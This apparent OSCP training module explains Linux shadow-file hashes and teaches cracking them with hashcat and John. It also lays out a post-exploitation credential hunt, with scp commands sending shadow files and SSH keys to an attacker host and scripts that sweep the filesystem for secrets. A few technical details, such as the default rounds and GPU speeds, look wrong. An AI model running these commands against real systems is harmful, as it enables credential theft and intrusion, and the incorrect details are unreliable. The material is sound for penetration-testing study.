Linux Password Cracking
Module 12 — Extracting and cracking Linux password hashes, and hunting credentials across the filesystem.
Table of Contents
- /etc/shadow Extraction
- Linux Hash Types
- Cracking Linux Hashes
- Other Linux Credential Sources
- OSCP Post-Exploitation Credential Hunting Workflow
- Quick Reference
1. /etc/shadow Extraction
1.1 What Is /etc/shadow?
On modern Linux systems, password hashes are not stored in /etc/passwd. Instead, they live in /etc/shadow, a file readable only by root (permissions 640, owned by root:shadow).
This two-file design (/etc/passwd + /etc/shadow) is called the shadow password suite. It was introduced to prevent unprivileged users from reading password hashes — a critical security improvement over the old single-file approach.
1.2 /etc/passwd vs /etc/shadow — The Relationship
| File | Permissions | Contains | Readable By |
|---|---|---|---|
/etc/passwd |
644 (world-readable) |
Username, UID, GID, home, shell | Everyone |
/etc/shadow |
640 (root:shadow) |
Password hashes, aging info | Root only |
/etc/passwd entry format (9 colon-separated fields):
username:x:1001:1001:Cheah Hao Yi:/home/cheah:/bin/bash
^ ^ ^ ^ ^ ^ ^
| | | | | | Shell
| | | | | Home directory
| | | | GID
| | | UID
| | Placeholder ('x' means hash is in /etc/shadow)
Username
The x in field 2 is the critical indicator: it means the actual password hash has been moved to /etc/shadow. If you see a hash directly in /etc/passwd instead of x, the system is using the old (insecure) non-shadow format.
/etc/shadow entry format (9 colon-separated fields):
username:$6$rounds=656000$salt$hash...:19000:0:99999:7:::
^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^
Hash (field 2) Additional fields (3-9)
Username (field 1)
1.3 All 9 Fields Explained
| # | Field | Description | Example | Notes |
|---|---|---|---|---|
| 1 | Username | Login name | cheah |
Must match /etc/passwd |
| 2 | Encrypted Password | The hash | $6$rounds=656000$salt$hash... |
See Hash Types |
| 3 | Last Changed | Days since Jan 1, 1970 | 19000 |
0 = password expired |
| 4 | Min Age | Min days before change allowed | 0 |
Prevents bypassing history |
| 5 | Max Age | Max days before forced change | 99999 |
99999 ≈ never expires |
| 6 | Warning | Days before expiry to warn user | 7 |
chage displays warning |
| 7 | Inactive | Days after expiry before account disabled | (empty) | Empty = not defined |
| 8 | Expiration | Absolute account expiry (days since epoch) | (empty) | Empty = never expires |
| 9 | Reserved | Future use | (empty) | Always empty |
1.4 Special Password Field Markers
Field 2 can contain special markers that indicate the account state:
| Marker | Meaning | Cracking Implication |
|---|---|---|
! or !! |
Account locked / password never set | Skip — no hash to crack |
* |
Account disabled (no login via password) | Skip — no hash to crack |
!$6$... or *$6$... |
Hash exists but account is locked | Hash present but account unusable via password |
| (empty) | No password required | Rare — usually means login without password |
Practical example:
# Read shadow file (requires root)
cat /etc/shadow
# Output:
root:$6$rounds=656000$aBcDeFgH$xYz...:19000:0:99999:7:::
nobody:*:19000:0:99999:7:::
cheah:$6$rounds=656000$12345678$AbC...:19100:0:99999:7:::
service_acct:!:19200:0:99999:7:::
disabled_user:*$6$rounds=656000$salt$hash...:19300:0:99999:7:::
root— active account with SHA-512 hash → crackablenobody—*marker → skip (system account, no password)cheah— active account with SHA-512 hash → crackableservice_acct—!marker → skip (locked account)disabled_user—*prefix on hash → skip (disabled)
1.5 How to Extract /etc/shadow
# Method 1: Direct read (requires root)
cat /etc/shadow
# Method 2: Extract specific user
grep "^cheah:" /etc/shadow
# Method 3: Copy to attacker machine
scp root@target:/etc/shadow /tmp/shadow.txt
# Method 4: Via sudo misconfiguration
sudo cat /etc/shadow
# Method 5: Via SUID binary or privilege escalation
# (exploit → root shell → cat /etc/shadow)
# Method 6: Combine with /etc/passwd for John
# John can process both files together:
cp /etc/passwd /tmp/passwd.txt
cp /etc/shadow /tmp/shadow.txt
1.6 Filtering Crackable Accounts
Before cracking, filter out accounts that won’t yield results:
# Show only accounts with actual hashes (not !, *, or empty)
awk -F: '($2 !~ /^[!*]/) && ($2 != "")' /etc/shadow
# Count crackable accounts
awk -F: '($2 !~ /^[!*]/) && ($2 != "")' /etc/shadow | wc -l
# Extract just the hashes
awk -F: '($2 !~ /^[!*]/) && ($2 != "") {print $1 ":" $2}' /etc/shadow
OSCP Exam Tip: Always filter
/etc/shadowbefore cracking. Attempting to crack!or*entries wastes time and may cause John/Hashcat to produce confusing output. On the exam, you’ll often find 1-3 crackable hashes among dozens of system accounts.
2. Linux Hash Types
2.1 Complete Reference Table
Modern Linux uses a magic prefix in the hash to identify the algorithm. The format is $ID$[params$]salt$hash.
| Prefix | Algorithm | Description | Hashcat Mode | John Format | Default Since |
|---|---|---|---|---|---|
$1$ |
MD5 Crypt | RFC 1313, 12-byte salt, 1000 rounds | 500 |
md5crypt |
Early 2000s |
$2a$ |
bcrypt | OpenBSD bcrypt, Blowfish-based | 3200 |
bcrypt |
— |
$2b$ |
bcrypt | Corrected bcrypt (glibc fix) | 3200 |
bcrypt |
— |
$2y$ |
bcrypt | PHP-compatible bcrypt | 3200 |
bcrypt |
— |
$5$ |
SHA-256 Crypt | glibc SHA-256, configurable rounds | 1400 |
sha256crypt |
~2009 |
$6$ |
SHA-512 Crypt | glibc SHA-512, configurable rounds | 1800 |
sha512crypt |
~2009 (default) |
2.2 Hash Format Breakdown
$1$ — MD5 Crypt
$1$saltsalt$hashhashhashhashhashhashhashhashhashhashhashhash
^ ^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| 8-12 char salt (truncated to 8 bytes) |
| Computed hash
Magic ID ($1$)
- Rounds: Fixed at 1,000 iterations.
- Salt: Up to 8 bytes, encoded in modified base64.
- Security: Weak. MD5 is fast and broken. Cracks in seconds on GPU for simple passwords.
- Status: Legacy. Still found on older systems.
$2a$ / $2b$ / $2y$ — bcrypt
$2b$12$LJ3m4ys3LgBsTsqA2wN5F.vZVp8JqKjH3K5xR9mN2bP4cD6eF8gHi
^ ^^ ^--------------------------------^ ^-------------------^
| | 22-char salt (128-bit) 31-char hash
| Cost factor (12 = 2^12 = 4096 rounds)
Algorithm variant
- Cost factor: 04-31 (higher = slower = more secure). Typical: 10-14.
- Salt: Always 128-bit (16 bytes), embedded in the hash.
- Security: Strong. Intentionally slow, memory-dependent, resists GPU acceleration.
- Cracking speed: ~100-1000x slower than SHA-512 crypt on GPU.
- Status: Recommended for new deployments.
Variant differences:
| Variant | Origin | Difference |
|---|---|---|
$2a$ |
Original OpenBSD | Original implementation |
$2b$ |
glibc fix | Corrects handling of passwords >72 bytes |
$2y$ |
PHP | PHP-specific fix for 8-bit characters |
For cracking purposes, all three variants use the same Hashcat mode (3200) and same John format (bcrypt).
$5$ — SHA-256 Crypt
$5$rounds=5000$saltsalt$hashhashhashhashhashhashhashhashhashhashhash...
^ ^^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| Optional rounds (default 5000) | 16-byte salt | Computed hash
Magic ID ($5$)
- Rounds: Configurable (default 5,000; range 1000-999,999,999).
- Salt: Up to 16 bytes.
- Security: Moderate. SHA-256 is cryptographically sound but too fast for password hashing. Still vulnerable to GPU brute force.
- Status: Common on systems configured for SHA-256.
$6$ — SHA-512 Crypt (Default on Most Modern Linux)
$6$rounds=656000$saltsalt$hashhashhashhashhashhashhashhashhashhashhash...
^ ^^^^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| Optional rounds (default 656000) | 16-byte salt | Computed hash
Magic ID ($6$)
- Rounds: Configurable (default 656,000; range 1000-999,999,999).
- Salt: Up to 16 bytes.
- Security: Better than MD5/SHA-256 crypt due to more rounds, but still GPU-vulnerable.
- Status: Default on most modern Linux distributions.
2.3 How Linux Chooses the Hash Algorithm
The algorithm is controlled by /etc/login.defs (the ENCRYPT_METHOD directive) and /etc/pam.d/common-password (Debian/Ubuntu):
# Check current encryption method
grep ENCRYPT_METHOD /etc/login.defs
# Common values:
# ENCRYPT_METHOD SHA512 → $6$ (default on RHEL/CentOS)
# ENCRYPT_METHOD SHA256 → $5$
# ENCRYPT_METHOD MD5 → $1$
On Debian/Ubuntu, check:
# Check PAM configuration
grep -i encrypt /etc/pam.d/common-password
# Output might show: password sufficient pam_unix.so sha512
OSCP Exam Tip: You don’t need to change the hash algorithm on the target. Just identify what’s already there by looking at the
$ID$prefix in/etc/shadow. The ID tells you everything you need.
3. Cracking Linux Hashes
3.1 Hashcat — GPU-Accelerated Cracking
Hashcat is the fastest option for Linux hashes when you have GPU access. Each hash type maps to a specific mode number.
SHA-512 Crypt ($6$) — Mode 1800
# Basic dictionary attack
hashcat -m 1800 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt
# With rules (best64)
hashcat -m 1800 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# With session name (to resume later)
hashcat -m 1800 -a 0 shadow.txt rockyou.txt -O --session sha512_crack
# Resume a session
hashcat -m 1800 --restore --session sha512_crack
# Show recovered passwords
hashcat -m 1800 shadow.txt --show
Performance note: SHA-512 crypt is computationally expensive. Expect ~500-2000 H/s on a good GPU. A single hash with a strong password may take hours.
SHA-256 Crypt ($5$) — Mode 1400
# Dictionary attack
hashcat -m 1400 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt
# With rules
hashcat -m 1400 -a 0 shadow.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mask attack (if you know the pattern)
hashcat -m 1400 -a 3 shadow.txt ?u?l?l?l?l?d?s
Performance note: Similar to SHA-512 but slightly faster due to smaller internal state. Expect ~800-3000 H/s on a good GPU.
MD5 Crypt ($1$) — Mode 500
# Dictionary attack
hashcat -m 500 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt
# With rules
hashcat -m 500 -a 0 shadow.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force (feasible for short passwords)
hashcat -m 500 -a 3 shadow.txt ?a?a?a?a?a?a
Performance note: MD5 crypt is the fastest Linux hash to crack. Expect ~50,000-200,000 H/s on a good GPU. Simple passwords crack in seconds.
bcrypt ($2a$/$2b$/$2y$) — Mode 3200
# Dictionary attack
hashcat -m 3200 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt
# With rules
hashcat -m 3200 -a 0 shadow.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Performance note: bcrypt is intentionally slow. Expect only ~50-500 H/s on GPU (depending on cost factor). A cost factor of 12 with a strong password may take days. This is the hardest Linux hash to crack.
Hashcat Strategy by Hash Type
| Hash Type | Priority | Strategy |
|---|---|---|
$1$ (MD5) |
First — fastest to crack | Dictionary → rules → brute force (short passwords) |
$5$ (SHA-256) |
Second | Dictionary → rules → mask attack |
$6$ (SHA-512) |
Third | Dictionary → rules → let run overnight |
$2b$ (bcrypt) |
Last — slowest | Dictionary only (brute force impractical) |
3.2 John the Ripper — Auto-Detect and Targeted Cracking
John the Ripper is excellent because it auto-detects hash formats. This makes it ideal for quick attempts when you’re not sure of the hash type.
Auto-Detect (Easiest Start)
# John will auto-detect the format from the hash prefix
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow
# If you have both files
john --wordlist=rockyou.txt passwd.txt shadow.txt
Explicit Format
# Force SHA-512 crypt format
john --format=sha512crypt --wordlist=rockyou.txt /etc/shadow
# Force MD5 crypt format
john --format=md5crypt --wordlist=rockyou.txt /etc/shadow
# Force bcrypt format
john --format=bcrypt --wordlist=rockyou.txt /etc/shadow
# Force SHA-256 crypt format
john --format=sha256crypt --wordlist=rockyou.txt /etc/shadow
With Rules
# Enable built-in word mangling rules
john --format=sha512crypt --wordlist=rockyou.txt --rules /etc/shadow
# Rules apply transformations: capitalize, append numbers, leet speak, etc.
# This significantly increases coverage without a bigger wordlist
Show Cracked Passwords
# Display all cracked passwords
john --show /etc/shadow
# Output format:
# username:password:uid:gid:gecos:home:shell:
# cheah:password123:1001:1001:Cheah Hao Yi:/home/cheah:/bin/bash:
Other Useful John Commands
# List all supported formats
john --list=formats
# List all available rules
john --list=rules
# Pot file (stores all cracked passwords for reuse)
# Located at: ~/.john/john.pot
# John automatically checks this file before cracking
# Crack with a custom rule
john --format=sha512crypt --wordlist=rockyou.txt --rules=ToJSON /etc/shadow
# Incremental mode (brute force with configurable charset)
john --format=sha512crypt --incremental /etc/shadow
3.3 Choosing Between Hashcat and John
| Factor | Hashcat | John the Ripper |
|---|---|---|
| GPU support | Excellent (primary strength) | Limited (JtR Community has some GPU support) |
| Auto-detect | No (must specify mode) | Yes (automatic) |
| Speed (GPU) | Very fast | Slower |
| Ease of use | Must know mode number | Just point at the file |
| bcrypt support | Mode 3200 (slow) | Good CPU support |
| Best for | GPU brute force, speed | Quick attempts, auto-detect, CPU environments |
OSCP Exam Tip: Start with John’s auto-detect for a quick win. If it doesn’t crack within a few minutes, switch to Hashcat with the correct mode for GPU acceleration. For the exam, most Linux passwords are simple enough that either tool will work with rockyou.txt.
3.4 Complete Cracking Workflow
# Step 1: Extract shadow file
cat /etc/shadow > shadow.txt
# Step 2: Filter crackable accounts
awk -F: '($2 !~ /^[!*]/) && ($2 != "")' shadow.txt > crackable.txt
# Step 3: Identify hash types
cut -d: -f2 crackable.txt | cut -d$ -f2 | sort | uniq -c
# Step 4: Quick attempt with John (auto-detect)
john --wordlist=rockyou.txt crackable.txt
# Step 5: If not cracked, use Hashcat with correct mode
# For $6$ (SHA-512):
hashcat -m 1800 -a 0 crackable.txt rockyou.txt
# Step 6: Try with rules if dictionary alone fails
hashcat -m 1800 -a 0 crackable.txt rockyou.txt -r best64.rule
# Step 7: Show results
john --show crackable.txt
# or
hashcat -m 1800 crackable.txt --show
4. Other Linux Credential Sources
Beyond /etc/shadow, Linux systems store credentials in many locations. A thorough post-exploitation search checks all of these.
4.1 Complete Credential Sources Table
| Source | Location | What It Contains | Access Level |
|---|---|---|---|
/etc/passwd |
/etc/passwd |
User list, UIDs, shells, home dirs | World-readable |
/etc/shadow |
/etc/shadow |
Password hashes | Root only |
.bash_history |
~/.bash_history |
Command history (may contain passwords in cleartext) | User |
.ssh/authorized_keys |
~/.ssh/authorized_keys |
SSH public keys for auth | User |
.ssh/id_rsa |
~/.ssh/id_rsa |
SSH private key (may be unencrypted) | User |
.ssh/id_rsa.pub |
~/.ssh/id_rsa.pub |
SSH public key | User |
.mysql_history |
~/.mysql_history |
MySQL commands (may contain passwords) | User |
.pgpass |
~/.pgpass |
PostgreSQL credentials (hostname:port:db:user:pass) | User |
.psql_history |
~/.psql_history |
PostgreSQL command history | User |
crontab |
crontab -l |
Scheduled tasks (may contain hardcoded creds) | User |
/root/.bashrc |
/root/.bashrc |
Root’s shell config (may contain hardcoded creds) | Root |
/root/.bash_history |
/root/.bash_history |
Root’s command history | Root |
/etc/crontab |
/etc/crontab |
System-wide cron jobs | Root |
/etc/cron.d/ |
/etc/cron.d/* |
System cron scripts | Root |
.sudo_as_admin_successful |
~/.sudo_as_admin_successful |
Indicates user has sudo access | User |
/etc/gshadow |
/etc/gshadow |
Group password hashes | Root |
/etc/sudoers |
/etc/sudoers |
Sudo permissions (NOPASSWD entries) | Root |
| PAM tokens | /etc/pam.d/* |
PAM configuration (may reveal auth methods) | Root |
| systemd credentials | /etc/systemd/ |
Service configs (may contain creds) | Root |
.env files |
~/.env, project dirs |
Environment variables with secrets | User |
.aws/credentials |
~/.aws/credentials |
AWS access keys | User |
.gnupg/ |
~/.gnupg/ |
GPG keys | User |
/var/mail/ |
/var/mail/username |
User mailboxes (may contain creds) | User/Root |
.wget-hsts |
~/.wget-hsts |
wget HSTS cache | User |
.Xauthority |
~/.Xauthority |
X11 authentication cookies | User |
/etc/aliases |
/etc/aliases |
Mail alias config | Root |
/var/spool/cron/ |
/var/spool/cron/* |
Per-user cron files | Root |
4.2 Most Valuable Sources for OSCP
.bash_history — Command History Goldmine
# Check current user's history
cat ~/.bash_history
# Check root's history (if you have access)
cat /root/.bash_history
# Look for password patterns
grep -iE "(password|passwd|pass|pwd|secret|token)" ~/.bash_history
# Common findings:
# mysql -u root -pMyPassword123
# export DB_PASS="supersecret"
# echo "password123" | sudo -S whoami
# sshpass -p 'password' ssh user@server
.ssh/id_rsa — SSH Private Key
# Check if private key exists and is unencrypted
cat ~/.ssh/id_rsa
# If the key has NO passphrase, you can use it directly:
ssh -i ~/.ssh/id_rsa user@other-server
# Copy key to attacker machine for later use
scp ~/.ssh/id_rsa attacker@attacker-ip:/tmp/
# Check key permissions
ls -la ~/.ssh/
# Should be 600 for id_rsa, 644 for id_rsa.pub, 644 for authorized_keys
OSCP Exam Tip: Always check for SSH keys. An unencrypted private key is an instant lateral movement path. Even an encrypted key can sometimes be cracked if the passphrase is weak.
.mysql_history and .psql_history — Database Credentials
# MySQL history
cat ~/.mysql_history
# Look for: mysql -u admin -p'password123' dbname
# PostgreSQL history
cat ~/.psql_history
# PostgreSQL password file
cat ~/.pgpass
# Format: hostname:port:database:username:password
Crontab Entries — Hidden Credentials
# Current user's crontab
crontab -l
# Root's crontab (if accessible)
sudo crontab -l
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/*
# Look for hardcoded credentials in scripts
grep -r "password\|passwd\|secret\|token" /etc/cron.d/
/etc/sudoers — NOPASSWD Entries
# Check sudo permissions
sudo -l
# Look for NOPASSWD entries
cat /etc/sudoers 2>/dev/null
grep -r "NOPASSWD" /etc/sudoers.d/ 2>/dev/null
# Common exam finding:
# user ALL=(ALL) NOPASSWD: /usr/bin/vim
# → Use: sudo vim → :!bash (shell escape)
/root/.bashrc and /root/.profile — Root Config Files
# Check for hardcoded credentials
cat /root/.bashrc
cat /root/.profile
cat /root/.bash_profile
# Look for patterns like:
# export MYSQL_PWD="password123"
# alias db='mysql -u root -ppassword'
4.3 Automated Credential Hunting Script
#!/bin/bash
# Quick credential hunt script for Linux post-exploitation
echo "=== Credential Hunting ==="
echo -e "\n[1] Sudo permissions:"
sudo -l 2>/dev/null
echo -e "\n[2] Shadow file access:"
cat /etc/shadow 2>/dev/null | head -5
echo -e "\n[3] SSH keys:"
find / -name "id_rsa" -type f 2>/dev/null
echo -e "\n[4] History files:"
find / -name ".bash_history" -type f 2>/dev/null
find / -name ".mysql_history" -type f 2>/dev/null
find / -name ".psql_history" -type f 2>/dev/null
echo -e "\n[5] Password files:"
find / -name ".pgpass" -type f 2>/dev/null
find / -name ".env" -type f 2>/dev/null
echo -e "\n[6] Crontabs:"
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null
echo -e "\n[7] Sudoers:"
cat /etc/sudoers 2>/dev/null | grep -v "^#" | grep -v "^$"
echo -e "\n[8] Writable files in PATH:"
find /usr/local/bin /usr/bin /usr/sbin -writable -type f 2>/dev/null
echo -e "\n[9] SUID binaries:"
find / -perm -4000 -type f 2>/dev/null
echo -e "\n[10] Network connections:"
ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null
5. OSCP Post-Exploitation Credential Hunting Workflow
This is a systematic, step-by-step process for hunting credentials on a Linux box during the OSCP exam. Follow this order to maximize efficiency.
Phase 1: Immediate Recon (First 2 Minutes)
# Who am I?
whoami
id
# What can I sudo?
sudo -l
# Where am I?
hostname
uname -a
Phase 2: Quick Wins (Minutes 2-5)
# Check for world-readable sensitive files
cat /etc/shadow 2>/dev/null
cat /etc/passwd
# Check home directories
ls -la /home/
for dir in /home/*/; do echo "=== $dir ==="; ls -la "$dir"; done
# Check current user's sensitive files
cat ~/.bash_history 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.mysql_history 2>/dev/null
cat ~/.pgpass 2>/dev/null
crontab -l 2>/dev/null
Phase 3: Deep Search (Minutes 5-15)
# Search for credentials in files
grep -r "password" ~/ 2>/dev/null | head -20
grep -r "passwd" ~/ 2>/dev/null | head -20
grep -r "secret" ~/ 2>/dev/null | head -20
grep -r "token" ~/ 2>/dev/null | head -20
# Find all SSH keys on the system
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" 2>/dev/null
# Find all history files
find / -name ".bash_history" -o -name ".mysql_history" -o -name ".psql_history" 2>/dev/null
# Find all .pgpass files
find / -name ".pgpass" 2>/dev/null
# Find all .env files
find / -name ".env" 2>/dev/null
# Check for writable config files
find /etc -writable -type f 2>/dev/null
# Check for SUID binaries
find / -perm -4000 -type f 2>/dev/null
Phase 4: Hash Cracking (If You Got /etc/shadow)
# Step 1: Extract and filter
cat /etc/shadow > shadow.txt
awk -F: '($2 !~ /^[!*]/) && ($2 != "")' shadow.txt > crackable.txt
# Step 2: Quick John attempt
john --wordlist=rockyou.txt crackable.txt
# Step 3: If needed, Hashcat with correct mode
# Check hash type first:
head -1 crackable.txt | cut -d: -f2 | cut -d$ -f2
# If output is "6" → use mode 1800
# If output is "5" → use mode 1400
# If output is "1" → use mode 500
# If output is "2b" → use mode 3200
hashcat -m 1800 -a 0 crackable.txt rockyou.txt
# Step 4: Show results
john --show crackable.txt
Phase 5: Lateral Movement (With Found Credentials)
# SSH with password
ssh user@next-target
# SSH with key
ssh -i id_rsa user@next-target
# SSH with found credentials
sshpass -p 'foundpassword' ssh user@next-target
# Check for internal services
ss -tulpn
nmap -sV -p- 127.0.0.1
OSCP Exam Tip: Time management is critical. Don’t spend more than 15-20 minutes on credential hunting per box. If you’ve checked the obvious sources and haven’t found anything, move on and come back later. The exam rewards breadth of coverage, not deep dives into one machine.
6. Quick Reference
6.1 Hash Type → Tool → Mode Lookup
| Hash Prefix | Algorithm | Hashcat Mode | John Format | Relative Speed |
|---|---|---|---|---|
$1$ |
MD5 Crypt | 500 |
md5crypt |
⚡ Fast |
$5$ |
SHA-256 Crypt | 1400 |
sha256crypt |
🐢 Slow |
$6$ |
SHA-512 Crypt | 1800 |
sha512crypt |
🐢 Slow |
$2a$ |
bcrypt | 3200 |
bcrypt |
🐌 Very Slow |
$2b$ |
bcrypt | 3200 |
bcrypt |
🐌 Very Slow |
$2y$ |
bcrypt | 3200 |
bcrypt |
🐌 Very Slow |
6.2 Hashcat Command Cheat Sheet
# Template: hashcat -m [MODE] -a [MODE] [HASH_FILE] [WORDLIST]
# MD5 Crypt
hashcat -m 500 -a 0 shadow.txt rockyou.txt
# SHA-256 Crypt
hashcat -m 1400 -a 0 shadow.txt rockyou.txt
# SHA-512 Crypt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt
# bcrypt
hashcat -m 3200 -a 0 shadow.txt rockyou.txt
# With rules (all modes)
hashcat -m 1800 -a 0 shadow.txt rockyou.txt -r best64.rule
# Resume session
hashcat -m 1800 --restore
# Show cracked
hashcat -m 1800 shadow.txt --show
6.3 John the Ripper Command Cheat Sheet
# Auto-detect format
john --wordlist=rockyou.txt shadow.txt
# Explicit format
john --format=sha512crypt --wordlist=rockyou.txt shadow.txt
# With rules
john --format=sha512crypt --wordlist=rockyou.txt --rules shadow.txt
# Show results
john --show shadow.txt
# List formats
john --list=formats
# List rules
john --list=rules
6.4 Credential Hunting Quick Commands
# One-liner credential check
for f in /etc/shadow ~/.bash_history ~/.ssh/id_rsa ~/.mysql_history ~/.pgpass; do [ -r "$f" ] && echo "=== $f ===" && cat "$f" 2>/dev/null; done
# Find all potential credential files
find / -maxdepth 4 \( -name "*.pgpass" -o -name ".env" -o -name "id_rsa" -o -name "*_history" -o -name "shadow" \) -type f 2>/dev/null
# Check sudo
sudo -l
6.5 Locked Account Markers
| Marker in Field 2 | Status | Action |
|---|---|---|
! or !! |
Locked / no password | Skip — no hash |
* |
Disabled | Skip — no hash |
!$6$... |
Locked with hash | Hash exists but account locked |
$6$... |
Active | Crack it |
| (empty) | No password | Rare — investigate |
6.6 Common OSCP Linux Hash Scenarios
| Scenario | What You’ll See | What To Do |
|---|---|---|
| Default modern Linux | $6$ hashes in /etc/shadow |
Hashcat mode 1800 or John auto-detect |
| Older system | $1$ hashes |
Hashcat mode 500 — cracks fast |
| Hardened system | $2b$ bcrypt hashes |
Hashcat mode 3200 — may take very long |
| Custom config | $5$ SHA-256 hashes |
Hashcat mode 1400 |
| Mixed system | Multiple hash types | Filter by type, crack each separately |
| No root access | Can’t read /etc/shadow |
Look for other credential sources |
Summary
Linux password cracking on the OSCP exam follows a clear pattern:
- Extract
/etc/shadow(requires root or misconfiguration). - Filter out locked/disabled accounts (
!,*markers). - Identify the hash type from the
$ID$prefix. - Crack with Hashcat (GPU) or John (auto-detect, CPU).
- Hunt for other credentials in history files, SSH keys, database configs, and crontabs.
The most common hash you’ll encounter is $6$ (SHA-512 crypt). Most exam passwords crack quickly with rockyou.txt — the challenge is finding the hashes, not cracking them.
Always remember: credentials live everywhere on a Linux system. /etc/shadow is just the beginning.